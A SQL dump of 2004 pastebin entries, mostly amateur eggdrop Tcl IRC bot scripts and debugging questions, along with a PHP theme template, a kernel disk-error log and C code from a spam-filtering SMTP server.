INSERT INTO `pastebin` VALUES (2281, 'rudenstam', '2004-09-22 08:26:27', 'set tmp 1\r\nforeach line [split $output "\\n"] {\r\n        if { $tmp == 1 } {\r\n                 incr tmp\r\n                 putserv "NOTICE $nick :$blowfish(PREFIX) [encrypt $blowfish(KEY) "\\[\\0035$arg1 TOPSCORE-RANK\\003\\] $line "]"\r\n        } else {\r\n                        putserv "NOTICE $nick :$blowfish(PREFIX) [encrypt $blowfish(KEY) "$line"]"\r\n        }\r\n}', 2280, 'tcl', 'none', 'none');
INSERT INTO `pastebin` VALUES (2282, 'Robb', '2004-09-23 01:52:54', 'bind pub - !addquote addquote_database\r\n\r\nproc addquote_database {nick uhost handle channel text} {\r\nif {[llength [split $text ""]] == 0} {return}\r\nset fileid [expr {int(rand()*99999)}] \r\nwhile {[file exists D:/Robb/quotes/db/$fileid.txt]} { \r\nset fileid [expr {int(rand()*99999)}] \r\n}\r\n\r\nset file [open  D:/Robb/quotes/db/$fileid.txt w+]\r\nregsub -all {<([\\x2B\\x40\\x25])(\\w+)>} $text {<\\2>} text\r\n\r\nputs $file "$text"\r\nclose $file\r\n\r\nputquick "PRIVMSG $channel :Quote added: \\037http://robb.hyperunknown.se/quotes/?$fileid\\037"\r\n}', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2283, 'sonic', '2004-09-23 11:27:40', 'bind pub v uptime uptime_check\r\nproc uptime_check {nick uhost hand chan rest} {\r\nif {![catch { exec uptime } uptime]} { privmsg $chan :Uptime: $uptime }\r\n}\r\n\r\n\r\n\r\n[18:24] Tcl error [uptime_check]: invalid command name "privmsg"\r\n', 0, 'none', 'uptime', 'none');
INSERT INTO `pastebin` VALUES (2284, 'Cartel', '2004-09-23 14:11:00', 'bind ctcp - ACTION act:rape\r\n\r\nset reactwords {\r\n"word 1"\r\n"word 2"\r\n}\r\nproc act:rape {nick host hand chan whom reactwords } {\r\n                if {[string match -nocase $reactwords]!=1} {return 0}\r\n                putserv "PRIVMSG $chan :\\001ACTION Oh Yeah!\\001"\r\n', 0, 'tcl', 'none', '#EggTCL');
INSERT INTO `pastebin` VALUES (2285, 'Chai_T', '2004-09-23 14:12:40', 'bind ctcp - ACTION act:rape\r\nset reactwords {\r\n"word 1"\r\n"word 2"\r\nbind ctcp - ACTION act:rape\r\nproc act:rape {nick host hand chan whom reactwords } {\r\n                if {[string match -nocase $reactwords]!=1} {return 0}\r\n                putserv "PRIVMSG $chan :\\001ACTION Oh Yeah!\\001"\r\n}', 0, 'tcl', 'none', '#EggTCL');
INSERT INTO `pastebin` VALUES (2286, 'Anonymous', '2004-09-23 14:27:30', 'bind ctcp - ACTION act:rape\r\nset reactwords {\r\n"*word 1*"\r\n"*word 2*"\r\nbind ctcp - ACTION act:rape\r\nproc act:rape {nick host hand chan whom text} {\r\n  global reactwords\r\n                if {[string match -nocase $reactwords $text]!=1} {return 0}\r\n                putserv "PRIVMSG $chan :\\001ACTION Oh Yeah!\\001"\r\n}', 2285, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2287, 'Anonymous', '2004-09-23 16:28:21', 'if($page == "irc.php"){\r\n//	[header]\r\n$HEADER = "\r\n<div align=''center''>\r\n  <table width=''969'' border=''0'' cellspacing=''0'' cellpadding=''0'' class=''border''>\r\n    <tr>\r\n      <td><div align=''center''>\r\n        <table width=''100\\%''  border=''0'' cellspacing=''0'' cellpadding=''0''>\r\n          <tr>\r\n						<td width=''0\\%'' valign=''middle'' class=''header''><div align=''center''> </tr>\r\n            <td class=''header''><div align=''center''><img src=''".THEME."/images/logobsx.png'' />\r\n            </div>            \r\n            </td>\r\n          <tr>\r\n            <td width=''0\\%'' class=''table1a''><div align=''left''>\r\n{SITETAG}\r\n</div></td>\r\n            <td width=''94\\%'' class=''table1a''><div align=''right''>\r\n</div></td>\r\n          </tr>\r\n        </table>\r\n        <table width=''100\\%''  border=''0'' cellspacing=''0'' cellpadding=''0''>\r\n          <tr>\r\n            <td width=''20\\%'' valign=''top'' class=''table2''><div align=''center''>\r\n              <p>\r\n{SETSTYLE=menu}\r\n{SITELINKS=menu}\r\n{MENU=1}\r\n</p>\r\n              </div></td>\r\n            <td class=''maintable'' valign=''top''><p align=''center''>\r\n				 <p><div align=''center''> \r\n{BANNER} \r\n				 </div></p>\r\n";\r\n//	[footer]\r\n$FOOTER = "\r\n</p>              </td>\r\n            <td width=''20\\%'' valign=''top'' class=''table2''><div align=''center''>\r\n{MENU=2}\r\n</div></td>\r\n          </tr>\r\n        </table>\r\n        <table width=''100\\%''  border=''0'' cellspacing=''0'' cellpadding=''0''>\r\n          <tr>\r\n            <td><div align=''center'' class=''table1b''>\r\n              <div align=''right''>\r\n{THEMEDISCLAIMER}\r\n</div>\r\n            </div></td>\r\n          </tr>\r\n        </table>\r\n        <table width=''100\\%''  border=''0'' cellspacing=''0'' cellpadding=''0''>\r\n          <tr valign=''top''>\r\n            <td width=''33\\%'' class=''table3''><div align=''left''>\r\n{MENU=3}\r\n</div></td>\r\n            <td width=''34\\%'' class=''table3''><div align=''center''>\r\n{MENU=4}\r\n</div></td>\r\n            <td width=''33\\%'' class=''table3''><div align=''right''>\r\n{MENU=5}\r\n</div></td>\r\n          </tr>\r\n        </table>\r\n        <table width=''100\\%''  border=''0'' cellspacing=''0'' cellpadding=''0''>\r\n          <tr>\r\n            <td><div align=''center'' class=''table3''>\r\n{SITEDISCLAIMER}\r\n</div></td>\r\n          </tr>\r\n        </table>\r\n        </div></td>\r\n    </tr>\r\n  </table>\r\n</div>\r\n";\r\n}', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2288, 'harry', '2004-09-25 09:44:42', 'bind pub v uptime uptime_check\r\nproc uptime_check {nick uhost hand chan rest} {\r\n  if {![catch { exec uptime } uptime]} {\r\n    putserv "PRIVMSG $chan :Uptime: $uptime"\r\n  }\r\n}\r\n', 2283, 'tcl', 'none', 'none');
INSERT INTO `pastebin` VALUES (2289, 'Anonymous', '2004-09-25 22:03:30', 'root@slack:~# fdisk /dev/sda\r\n\r\nUnable to read /dev/sda\r\nroot@slack:~# Sep 26 04:01:28 slack kernel: Current 00:00: sns = 70  2\r\nSep 26 04:01:28 slack kernel: ASC=3a ASCQ= 0\r\nSep 26 04:01:28 slack kernel: Raw sense data:0x70 0x00 0x02 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00 0x00 0x3a 0x00 0x00 0x00 0x00 0x00\r\nSep 26 04:01:28 slack kernel: sda : READ CAPACITY failed.\r\nSep 26 04:01:28 slack kernel: sda : status = 1, message = 00, host = 0, driver = 08\r\nSep 26 04:01:28 slack kernel: Current sd00:00: sns = 70  2\r\nSep 26 04:01:28 slack kernel: ASC=3a ASCQ= 0\r\nSep 26 04:01:28 slack kernel: Raw sense data:0x70 0x00 0x02 0x00 0x00 0x00 0x00 0x0a 0x00 0x00 0x00 0x00 0x3a 0x00 0x00 0x00 0x00 0x00\r\nSep 26 04:01:28 slack kernel: sda : block size assumed to be 512 bytes, disk size 1GB.\r\nSep 26 04:01:28 slack kernel: sda: Write Protect is off\r\nSep 26 04:01:28 slack kernel:  I/O error: dev 08:00, sector 0\r\nSep 26 04:01:28 slack kernel:  unable to read partition table\r\nSep 26 04:01:28 slack kernel:  I/O error: dev 08:00, sector 0\r\n', 0, 'none', 'none', 'none');
INSERT INTO `pastebin` VALUES (2293, 'Ninave', '2004-09-29 10:57:01', 'from the start it where \r\n\r\n[17:54] missing close-brace\r\n    while executing\r\n"proc do_ques { global webfile lynxfile web_update botnick webtz lynxfilerf pic} {"\r\n\r\n\r\nsense I didnt find any } behind that... I just deleted the last braclet... then this problem accurd\r\n\r\n[17:50] wrong # args: should be "proc name args body"\r\n    while executing\r\n"proc do_ques { global webfile lynxfile web_update botnick webtz lynxfilerf pic}"', 0, 'tcl', 'tcl problem', '#TCL');
INSERT INTO `pastebin` VALUES (2294, 'Ninave', '2004-09-29 11:01:43', 'bind pub - !web do_ques\r\nproc do_ques { global webfile lynxfile web_update botnick webtz lynxfilerf pic} {\r\n  foreach chan [array names webfile] {\r\n    if {[lsearch -exact [string tolower [channels]] [string tolower $chan]] == -1} {continue}\r\n    set fd [open $webfile($chan) w]\r\n    if {[info exists lynxfile($chan)]} {\r\n      set fdl [open $lynxfile($chan) w]\r\n    } else {\r\n      set fdl [open "/dev/null" w]\r\n    }\r\n    puts $fd "<meta http-equiv=\\"Refresh\\" content=[expr $web_update *60]>"\r\n    if {![onchan $botnick $chan]} {\r\n      puts $fd "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fd "<body><h1>Oops!</h1><p>"\r\n      puts $fd "The bot is not on $chan right now for some strange reason.<br>"\r\n      puts $fd "IRC isn''t a very stable place these days... Please try again"\r\n      puts $fd "later!<p></body></html>"\r\n      puts $fdl "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fdl "<body><h1>Oops!</h1><p>"\r\n      puts $fdl "The bot is not on $chan right now for some strange reason.<br>"\r\n      puts $fdl "IRC isn''t a very stable place these days... Please try again"\r\n      puts $fdl "later!<p></body></html>"\r\n      close $fd\r\n      close $fdl\r\n    } {\r\n      puts $fd "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fd "<body><center><A HREF=irc.html><IMG SRC=$pic($chan) ALT=$chan BORDER=0></A>"\r\n      puts $fdl "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fdl "<body><h1>$chan</h1>"\r\n      if {[info exists lynxfile($chan)]} {\r\n       puts $fd "<p>If this page looks strange on your browser, try"\r\n        puts $fd "<a href=\\"$lynxfilerf($chan)\\">this page</a>.<p>"\r\n      }\r\n      puts $fd "People on $chan as of [date] [time] $webtz<P>"\r\n      puts $fd "<table border=1 cellpadding=4>"\r\n      puts $fd "<th align=left>Nickname<th align=left>Status"\r\n      puts $fd "<th align=left>User@Host"\r\n      puts $fdl "<em>People on $chan as of [date] [time] $webtz</em><pre>"\r\n      puts $fdl "Nickname  Status           User@Host"\r\n      foreach i [chanlist $chan] {\r\n        puts $fd "<tr>"\r\n        if {[isop $i $chan]} { set chop "op"} { set chop "" }\r\n        if {[getchanidle $i $chan] > 10} {\r\n          if {$chop == ""} { set chop "idle" } { set chop "${chop}, idle" }\r\n        }\r\n        set handle [finduser $i![getchanhost $i $chan]]\r\n        if {[onchansplit $i $chan]} {\r\n          if {$chop == ""} {\r\n            set chop "<strong>(split)</strong>"\r\n          } {\r\n\r\nThink thats is enough??\r\n\r\nits so much more... but the rpoblem seems to be on the 2nd line', 0, 'tcl', 'tcl problem', '#TCL');
INSERT INTO `pastebin` VALUES (2295, 'Ninave', '2004-09-29 11:05:18', '## this line makes sure other scripts won''t interfere\r\ncatch {unset webfile}\r\n\r\n## for each channel you want a webfile for, do this:\r\nset webfile(#UC) "/home/eric/public_html/uc/whoson.html"\r\n\r\n\r\n## define these for channels you want alternate (lynx-friendly) web pages\r\n## for:  (the ''lynxfilerf'' needs to be relative to your html directory)\r\nset lynxfile(#UC) "/home/eric/public_html/uc/whoson-lynx.html"\r\nset lynxfilerf(#UC) "whoson-lynx.html"\r\nset pic(#UC) "white.gif"\r\n\r\n\r\n## how often should these html files get updated?\r\n## (1 means once every minute, 5 means once every 5 minutes, etc)\r\nset web_update 1\r\n\r\n## this will help people figure out what timezone you''re in :)\r\nset webtz "CET"\r\n\r\n\r\nbind pub - !web do_ques\r\nproc do_ques {  global webfile lynxfile web_update botnick webtz lynxfilerf pic} {\r\n  foreach chan [array names webfile] {\r\n    if {[lsearch -exact [string tolower [channels]] [string tolower $chan]] == -1} {continue}\r\n    set fd [open $webfile($chan) w]\r\n    if {[info exists lynxfile($chan)]} {\r\n      set fdl [open $lynxfile($chan) w]\r\n    } else {\r\n      set fdl [open "/dev/null" w]\r\n    }\r\n    puts $fd "<meta http-equiv=\\"Refresh\\" content=[expr $web_update *60]>"\r\n    if {![onchan $botnick $chan]} {\r\n      puts $fd "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fd "<body><h1>Oops!</h1><p>"\r\n      puts $fd "The bot is not on $chan right now for some strange reason.<br>"\r\n      puts $fd "IRC isn''t a very stable place these days... Please try again"\r\n      puts $fd "later!<p></body></html>"\r\n      puts $fdl "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fdl "<body><h1>Oops!</h1><p>"\r\n      puts $fdl "The bot is not on $chan right now for some strange reason.<br>"\r\n      puts $fdl "IRC isn''t a very stable place these days... Please try again"\r\n      puts $fdl "later!<p></body></html>"\r\n      close $fd\r\n      close $fdl\r\n    } {\r\n      puts $fd "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fd "<body><center><A HREF=irc.html><IMG SRC=$pic($chan) ALT=$chan BORDER=0></A>"\r\n      puts $fdl "<html><head><title>People on $chan right now!</title></head>"\r\n      puts $fdl "<body><h1>$chan</h1>"\r\n      if {[info exists lynxfile($chan)]} {\r\n        puts $fd "<p>If this page looks strange on your browser, try"\r\n        puts $fd "<a href=\\"$lynxfilerf($chan)\\">this page</a>.<p>"\r\n      }\r\n      puts $fd "People on $chan as of [date] [time] $webtz<P>"\r\n      puts $fd "<table border=1 cellpadding=4>"\r\n      puts $fd "<th align=left>Nickname<th align=left>Status"\r\n      puts $fd "<th align=left>User@Host"\r\n      puts $fdl "<em>People on $chan as of [date] [time] $webtz</em><pre>"\r\n      puts $fdl "Nickname  Status           User@Host"\r\n      foreach i [chanlist $chan] {\r\n        puts $fd "<tr>"\r\n        if {[isop $i $chan]} { set chop "op"} { set chop "" }\r\n        if {[getchanidle $i $chan] > 10} {\r\n          if {$chop == ""} { set chop "idle" } { set chop "${chop}, idle" }\r\n        }\r\n        set handle [finduser $i![getchanhost $i $chan]]\r\n        if {[onchansplit $i $chan]} {\r\n          if {$chop == ""} { \r\n            set chop "<strong>(split)</strong>"\r\n          } {\r\n            set chop "${chop} <strong>(split)</strong>"\r\n          }\r\n        }\r\n        set url [geturl $handle]\r\n        set info [getinfo $handle]\r\n        if {"" == $chop} { set chop "-" }\r\n        set link ""\r\n        if {"" != $url} {\r\n          set link "<a href=\\"$url\\">"\r\n        }\r\n        if {("" == $link) &&\r\n            ([string compare [string range $info 0 6] "http://"] == 0)} {\r\n          set link "<a href=\\"[lindex [split $info] 0]\\">"\r\n        }\r\n        if {"" == $link} {\r\n          set email [getemail $handle]\r\n          if {("" != $email) && ([string first @ $email] > 0)} {\r\n            set link "<a href=\\"mailto:$email\\">"\r\n          }\r\n        }\r\n        if {"" != $link} { set elink "</a>" } { set elink "" }\r\n        puts $fd "<td align=left>${link}${i}${elink}</td>"\r\n        puts $fd "<td align=left>${chop}</td>"\r\n        set chost [getchanhost $i $chan]\r\n        if {[string compare [string tolower $i] [string tolower $botnick]] == 0} {\r\n          set chost "<em>I''m a Believer and the bot on this channel!</em>"\r\n          set info ""\r\n        } {\r\n          if {[matchattr $handle b]} {\r\n            set chost "<em>This is another channel bot.</em>"\r\n            set info ""\r\n          }\r\n        }\r\n        puts $fd "<td align=left>${chost}</td>"\r\n        puts $fdl "${link}[format \\%-9s $i]${elink} [format \\%-16s $chop] $chost"\r\n        if {"" != $info} {\r\n          puts $fd "<tr><td></td><td colspan=2><strong>Info:</strong> $info</td>"\r\n          puts $fdl "   <strong>Info:</strong> $info"\r\n        }\r\n      }\r\n      puts $fd "</table>"\r\n      puts $fdl "</pre>"\r\n      puts $fd "<P><address>This page will reload automatically every minute.</address></center>"\r\n      puts $fd "</body></html>"\r\n      puts $fdl "</body></html>"\r\n      close $fd\r\n      close $fdl\r\n    }\r\n}\r\n\r\nset xxchans ""\r\nforeach i [array names webfile] {\r\n  set xxchans "$xxchans $i"\r\n  if {![info exists lynxfile($i)]} {\r\n    set xxchans "$xxchans (no lynx)"\r\n  }\r\n  set xxchans "${xxchans},"\r\n}\r\nset xxchans [string trimright $xxchans ","]\r\nputlog "Quesedilla v3:$xxchans"\r\nunset xxchans\r\n', 0, 'tcl', 'tcl problem', '#TCL');
INSERT INTO `pastebin` VALUES (2303, 'sablar', '2004-10-03 19:40:17', 'proc start {} {\r\n	font create irssi -family "Courier New" -size 10\r\n	wm geometry . 800x500\r\n	wm title . "main"\r\n	frame .r -relief flat\r\n	pack .r -side top -fill y -anchor w\r\n	frame .r.n -bd 1 -relief sunken\r\n	frame .r.c -bd 1 -relief sunken\r\n	#pack .r.n -side left -anchor w -fill both\r\n	#pack .r.c -side left -anchor w -fill both\r\n	grid .r.n -column 0 -row 0\r\n	grid .r.c -column 1 -row 0\r\n	grid columnconfigure .r.n 0 -uniform 1 -weight 1\r\n	grid columnconfigure .r.c 1 -uniform 1 -weight 1\r\n	label .r.n.label -height 6 -text "WIN1" -justify left -anchor sw -bg #000000 -fg #FFFFFF -font "irssi 8"\r\n	label .r.c.label -height 6 -text "WIN2" -justify left -anchor sw -bg #000000 -fg #FFFFFF -font "irssi 8"\r\n	#pack .r.c.label -side bottom -fill y\r\n	#pack .r.n.label -side bottom -fill y\r\n	grid .r.n.label -column 0 -row 0\r\n	grid .r.c.label -column 1 -row 0\r\n	grid columnconfigure .r.n.label 0 -uniform 1 -weight 1\r\n	grid columnconfigure .r.c.label 1 -uniform 1 -weight 1\r\n\r\n	frame .status -bd 1 -relief sunken\r\n	pack .status -side top -fill x\r\n	label .status.label -height 6 -text "STATUS" -justify left -anchor sw -bg #000000 -fg #FFFFFF -font "irssi 8"\r\n	pack .status.label -side top -fill x\r\n\r\n	frame .channel -bd 1 -relief sunken\r\n	pack .channel -side top -fill both -expand 1\r\n	label .channel.label -text "CHANNEL" -justify left -anchor sw -bg #000000 -fg #FFFFFF -font "irssi 8"\r\n	pack .channel.label -side top -fill both -expand 1\r\n\r\n\r\n}', 0, 'tcl', 'tk', 'none');
INSERT INTO `pastebin` VALUES (2308, 'eghah', '2004-10-05 04:59:56', '        |_    _| /     \\    |  ___| |    \\  |  | |_    _|                #\r\n#            |  |   |  |  |    |  ___| |  |  | |  |   |  |                  #\r\n#            |__|   \\_____/    |_____| |____/  |__|   |__|                  #\r\n#             _____   _____   __      _____   __    __                      #\r\n#            |  __ \\ |  ___| |  |    /     \\ |  |/\\|  |                     #\r\n#            |  __ < |  ___| |  |__  |  |  | |        |                     #\r\n#            |_____/ |_____| |_____| \\_____/  \\__/\\__/                      #\r\n#                                                                           #\r\n#############################################################################\r\n\r\n\r\n############################### PROCEDUREZ ##################################\r\nproc pub:onjoin {nick uhost hand chan} {\r\n  if {[matchattr $hand 1]} {putserv "MODE $chan +v $nick"}\r\n  return 1\r\n}\r\n################################ add ########################################\r\nproc pub:addvoice {nick uhost hand chan arg} {\r\n  global botnick\r\n  if {![matchattr $hand o]} {\r\n    putserv "NOTICE $nick :You don''t have access to add VOICE''s."\r\n    return 0\r\n  }\r\n  set who [lindex $arg 0]\r\n  set who2 [string range $who 0 8]\r\n  set userhost [maskhost [getchanhost $who $chan]]\r\n  if {$who ==""} {\r\n    putserv "NOTICE $nick :\\002U\\002sage\\037:\\037 !add <nick>"\r\n    return 0\r\n  }\r\n  if {![onchan $who $chan]} {\r\n    putserv "NOTICE $nick :\\002$who\\002 isn''t on the channel."\r\n    return 0\r\n  }\r\n  if {[validuser $who2]} {\r\n        if {![matchattr $who +v $chan]} {\r\n          chattr $who2 |+gv $chan\r\n          putserv "privmsg chanserv :VOP $chan ADD $who"\r\n          putserv "MODE $chan +v $who"\r\n          putserv "NOTICE $nick :alltough $who is already on my userlist. I have added $who to the v\r\noice list in $chan"\r\n          putserv "privmsg $informops :^C11$who has been added to the voice list in $chan by $nick"\r\n          save\r\n          return 0\r\n           }\r\n    putserv "NOTICE $nick :\\002$who\\002 is already on my userlist."\r\n    return 0\r\n  }\r\n  if {![adduser $who $userhost]} {\r\n    putserv "NOTICE $nick :Couldn''t add \\"$who\\" to the Voice list."\r\n     return 0\r\n        }\r\n        adduser $who $userhost\r\n        chattr $who2 |+gv $chan\r\n        putserv "privmsg chanserv :VOP $chan ADD $who"\r\n        putserv "MODE $chan +v $who"\r\n        putserv "NOTICE $who :You have been Added to the voice list in $chan with autovoice."\r\n        putserv "NOTICE $nick :\\002$who\\002 has been added to the voice list in $chan with autovoice\r\n."\r\n        putserv "privmsg $informops :^C11$who has been added to the voice list in $chan by $nick"\r\n        save\r\n     return 1\r\n}\r\n############################### delete #########################################\r\nproc pub:delvoice {nick uhost hand chan arg} {\r\n  global botnick\r\n  if {![matchattr $hand o]} {\r\n    putserv "NOTICE $nick :You don''t have access to delete VOICE''s."\r\n    return 0\r\n  }\r\n  set who [lindex $arg 0]\r\n  set who2 [string range $who 0 8]\r\n  if {[matchattr $who o]} {\r\n    putserv "NOTICE $nick :You can''t do that stupid $who is an op!"\r\n    return 0\r\n  }\r\n\r\n  if {$who ==""} {\r\n    putserv "NOTICE $nick :\\002U\\002sage\\037:\\037 @add <nick>"\r\n    return 0\r\n  }\r\n  chattr $who2 |-gv $chan\r\n  putserv "privmsg chanserv :VOP $chan del $who"\r\n  putserv "MODE $chan -v $who"\r\n  putserv "NOTICE $who :You have been deleted from the voice list in $chan with autovoice."\r\n  putserv "NOTICE $nick :\\002$who\\002 has been deleted from the voice list in $chan with autovoice."\r\n  putserv "privmsg #informops :^C11$who has been deleted from the voice list in $chan by $nick"\r\n  save\r\n  return 1\r\n}\r\nputlog "\\002AutoVoice v2.0 TCL (c) 2004\\002 by \\002t00nie & NoZparker\\002 has successfully loaded."\r\n(END)\r\n', 0, 'none', 'autovoice', 'none');
INSERT INTO `pastebin` VALUES (2309, 'eghah', '2004-10-05 05:06:00', 'proc pub:addvoice {nick uhost hand chan arg} {\r\n  global informops\r\n  global botnick\r\n  if {![matchattr $hand o]} {\r\n', 0, 'none', 'none', 'none');

INSERT INTO `pastebin` VALUES (2340, '[e]man', '2004-11-05 17:45:22', 'anyone that know of a eggdrop that can search in a harddrive afther dir''s? | I want a bot on irc, that i could do  !search world - and then it will list all dir''s that have  "world" in the folder name :D', 0, 'none', 'search dir!', 'none');
INSERT INTO `pastebin` VALUES (2341, '[e]man', '2004-11-05 17:45:37', 'anyone that know of a eggdrop that can search in a harddrive afther dir''s? | I want a bot on irc, that i could do  !search world - and then it will list all dir''s that have  "world" in the folder name :D', 0, 'none', 'search dir!', '#EggTCL');
INSERT INTO `pastebin` VALUES (2342, 'Calif', '2004-11-05 17:48:29', 'set global-chanset {\r\n        -autoop         +autovoice\r\n        -bitch          +cycle\r\n        +dontkickops    +dynamicbans\r\n        +dynamicexempts +dynamicinvites\r\n        -enforcebans    +greet\r\n        -inactive       -nodesynch\r\n        -protectfriends +protectops\r\n        -revenge        -revengebot\r\n        -secret         -seen\r\n        +shared         +statuslog\r\n        +userbans       +userexempts\r\n        +userinvites    -protecthalfops\r\n        -autohalfop\r\n}\r\n', 0, 'none', 'blah', 'none');
INSERT INTO `pastebin` VALUES (2343, 'Juzzy', '2004-11-05 21:06:12', '#include "spam_check.h"\r\n#include "config.h"\r\n#include "smtpd.h"\r\n#include "cats.h"\r\n#include "btree.h"\r\n#include "clamav.h"\r\n#include <math.h>\r\n\r\n//extern struct rules_t baserules[BASERULES];\r\nextern struct rules_master rules;\r\nextern struct settings global;\r\nint av_scan(const char *filename, const char **virname);\r\n\r\n\r\nint spam_check(char *user,struct message *msg) {\r\n	int i,ret;\r\n	FILE *fd;\r\n	char buf[1024];\r\n	char *fullbuf;\r\n	//unsigned long long tag,reject;\r\n	struct u_node *us;\r\n	struct stat sb;\r\n	const char *virname;\r\n	struct {\r\n		char *header;\r\n		char *text;\r\n		char *html;\r\n	} *pieces;\r\n\r\n	us = find_str(user);\r\n	if (us == NULL) {\r\n		printf("no settings found, using defaults.\\n");\r\n	} else\r\n		printf("%s == user settings\\n", us->user);\r\n	stat(msg->filename,&sb);\r\n	//printf("blocks: %ld, blocksize: %u, size: %ld\\n",(long)sb.st_blocks, sb.st_blksize,(long)sb.st_size);\r\n	if (sb.st_size > global.maxmessagesize)\r\n		return -1000; //whoops, too large\r\n\r\n	fullbuf = xmalloc(sb.st_size + 1);\r\n\r\n	fd = fopen(msg->filename,"r");\r\n	while (fgets(buf,sizeof(buf),fd)){\r\n		strcat(fullbuf,buf);\r\n	}\r\n	fclose(fd);\r\n\r\n	\r\n	if (check_rule(ATTACH,fullbuf,rules.baserules[ATTACH].handler,rules.baserules[ATTACH].extra)) {\r\n		printf("ATTACHMENT detected\\n");\r\n		if (us->tag & CAT_AV || us->reject & CAT_AV)\r\n			if ((ret = av_scan(msg->filename, &virname)) == CL_VIRUS) {\r\n				printf("%s detected",virname);\r\n				if (us->tag & CAT_AV) {\r\n					add_subject(msg,"[VIRUS] - ");\r\n					return 0;\r\n				}\r\n				if (us->reject & CAT_AV) {\r\n					return -1001;\r\n				}\r\n			}\r\n	}\r\n	if (!(check_rule(WWW,fullbuf,rules.baserules[WWW].handler,rules.baserules[WWW].extra))) {\r\n		printf("no link detected\\n");\r\n		free(fullbuf);\r\n		return 0;\r\n	}\r\n	//printf("%s\\n",fullbuf);\r\n//	if (i == 0) {\r\n//		free(fullbuf);\r\n//		return -1;\r\n//	}\r\n\r\n	if (!(check_rule(WWW,fullbuf,rules.baserules[WWW].handler,rules.baserules[WWW].extra))) {\r\n		printf("no link detected\\n");\r\n		free(fullbuf);\r\n		return 0;\r\n	}\r\n\r\n	for (i=0;i<rules.bodycount;i++) {\r\n		if (check_rule(i,fullbuf,rules.body[i].handler,rules.body[i].extra)) {\r\n			printf("Matching Body rule: %d - %s \\n",i,rules.body[i].description);\r\n			msg->score += rules.body[i].score;\r\n			msg->result[rules.body[i].class] += rules.body[i].score;\r\n			//printf("found match, class %d\\n",rules.body[i].class);\r\n		}\r\n	}\r\n	for (i=0;i<rules.headercount;i++) {\r\n		if (check_rule(i,fullbuf,rules.header[i].handler,rules.header[i].extra)) {\r\n			printf("matching header rule: %d - %s \\n",i,rules.header[i].description);\r\n			msg->score += rules.header[i].score;\r\n			msg->result[rules.header[i].class] += rules.header[i].score;\r\n			//printf("found match, class %d\\n",rules.body[i].class);\r\n		}\r\n	}\r\n\r\n	// html\r\n	if (check_rule(HTML,fullbuf,rules.baserules[HTML].handler,rules.baserules[HTML].extra)) {\r\n		printf("html detected\\n");\r\n		for (i=0;i<rules.htmlcount;i++) {\r\n			if (check_rule(i,fullbuf,rules.html[i].handler,rules.html[i].extra)) {\r\n				printf("matching html rule: %d - %s \\n",i,rules.html[i].description);\r\n				msg->score += rules.html[i].score;\r\n				msg->result[rules.html[i].class] += rules.html[i].score;\r\n				//printf("found match, class %d\\n",rules.body[i].class);\r\n			}\r\n		}\r\n	}\r\n\r\n	free(fullbuf);\r\n\r\n	short largest=0;\r\n\r\n	if (msg->result[10] > 20) { //10 == OFFER\r\n		printf("gen spam (%d) > 20\\n",msg->result[10]);\r\n		for (i=0;i<CAT_NUM;i++) {\r\n			if ((msg->result[largest] < msg->result[i]) && (i != 10)){\r\n				printf("i = %d %d > old latest= %d %d\\n",i,msg->result[i],largest,msg->result[largest]);\r\n				largest=i;\r\n			}\r\n		}\r\n	}\r\n	switch (1<<(largest-1))\r\n	{\r\n	case CAT_MED:\r\n		printf("Email probably Meds\\n");\r\n		break;	\r\n	case CAT_WORK:\r\n		printf("Email probably Work at home\\n");\r\n		break;	\r\n	case CAT_WEIGHT:\r\n		printf("Email probably Weightloss\\n");\r\n		break;	\r\n	case CAT_STOCK:\r\n		printf("Email probably Stocks\\n");\r\n		break;	\r\n	case CAT_LOAN:\r\n		printf("Email probably Loan/debt/mortgage\\n");\r\n		break;	\r\n	case CAT_COMPUTER:\r\n		printf("Email probably PC\\n");\r\n		break;	\r\n	case CAT_DATING:\r\n		printf("Email probably Dating\\n");\r\n		break;	\r\n	case CAT_COLLEGE:\r\n		printf("Email probably College\\n");\r\n		break;	\r\n	case CAT_ADULT:\r\n		printf("Email probably adult\\n");\r\n		break;	\r\n	case CAT_OFFER:\r\n		printf("Email general spam.\\n");\r\n		break;	\r\n	}\r\n	return largest;\r\n};\r\n\r\n/*\r\n\r\nint bin(unsigned long long x){\r\n	int i;\r\n	unsigned long long z=x;\r\n	for (i=0;i<64;i++) {\r\n		printf("%d",z & 1);\r\n		z = z >> 1;\r\n	}\r\n	printf(" - %llu\\n",x);\r\n	return 0;\r\n}\r\n\r\n\r\n', 0, 'c', 'none', 'none');
INSERT INTO `pastebin` VALUES (2345, 'Juzzy', '2004-11-05 21:11:35', 'unsigned short addcount(unsigned int ip) {\r\n	char **val=NULL;\r\n	struct c_node *node=NULL;\r\n	int c;\r\n\r\n#ifdef DEBUG\r\n	twalk(current, cur_action);\r\n#endif\r\n\r\n	node=(struct c_node *)xmalloc(sizeof(struct c_node));\r\n	node->ip = ip;\r\n	node->count=0;\r\n	pthread_mutex_lock(&m_current);\r\n	val = (void *)tsearch((void *)node, &current, compare);\r\n	if ((struct c_node *)*val != node)\r\n		free(node);\r\n	node = (struct c_node *)(*val);\r\n	printf("Connection: %u - %d\\n",node->ip,node->count);\r\n	node->count++;\r\n	c = node->count;\r\n	pthread_mutex_unlock(&m_current);\r\n	return c;\r\n}\r\n\r\n\r\n....\r\n\r\n\r\n	count = addcount(ip);\r\n\r\n	if (count > global.maxallowed)	{\r\n		delete_ip(NULL,ip);\r\n		add_ip(NULL,ip,IP_VIOLATION);\r\n		error(fd,IP_VIOLATION,IP_VIOLATION_ERROR);\r\n		return;\r\n	}\r\n', 0, 'c', 'addip', 'none');
